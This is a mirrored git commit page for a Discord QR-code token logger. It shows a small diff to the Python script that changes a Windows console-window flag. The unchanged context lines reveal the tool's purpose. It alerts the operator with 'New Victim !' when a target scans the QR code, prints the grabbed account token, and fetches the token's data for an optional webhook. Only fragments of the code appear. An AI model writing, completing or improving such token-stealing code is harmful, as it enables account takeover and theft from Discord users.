mirror of
https://github.com/9P9/Discord-QR-Token-Logger.git
synced 2025-10-20 15:41:10 +00:00
minor change of windows api usage.
This commit is contained in:
@@ -95,7 +95,7 @@ def main(webhook_url) -> None:
|
|||||||
main.driver.quit()
|
main.driver.quit()
|
||||||
pystray_icon.icon.notify("The traget scanned the QR-code sucessfuly.", 'New Victim !')
|
pystray_icon.icon.notify("The traget scanned the QR-code sucessfuly.", 'New Victim !')
|
||||||
time.sleep(3)
|
time.sleep(3)
|
||||||
ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 1)
|
ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 5)
|
||||||
Write.Print(f"\n\n[?] Token grabbed: {token}", Colors.rainbow)
|
Write.Print(f"\n\n[?] Token grabbed: {token}", Colors.rainbow)
|
||||||
if webhook_url != None:
|
if webhook_url != None:
|
||||||
Write.Print("\n\n[!] Fetching token data...", Colors.red_to_purple)
|
Write.Print("\n\n[!] Fetching token data...", Colors.red_to_purple)
|
||||||
@@ -135,7 +135,7 @@ if __name__ == "__main__":
|
|||||||
def pystray_icon():
|
def pystray_icon():
|
||||||
def window_state(icon, item):
|
def window_state(icon, item):
|
||||||
if str(item) == 'Show':
|
if str(item) == 'Show':
|
||||||
return ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 1)
|
return ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 5)
|
||||||
elif str(item) == 'Hide':
|
elif str(item) == 'Hide':
|
||||||
return ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 0)
|
return ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 0)
|
||||||
elif str(item) == 'Quit':
|
elif str(item) == 'Quit':
|
||||||
|
Reference in New Issue
Block a user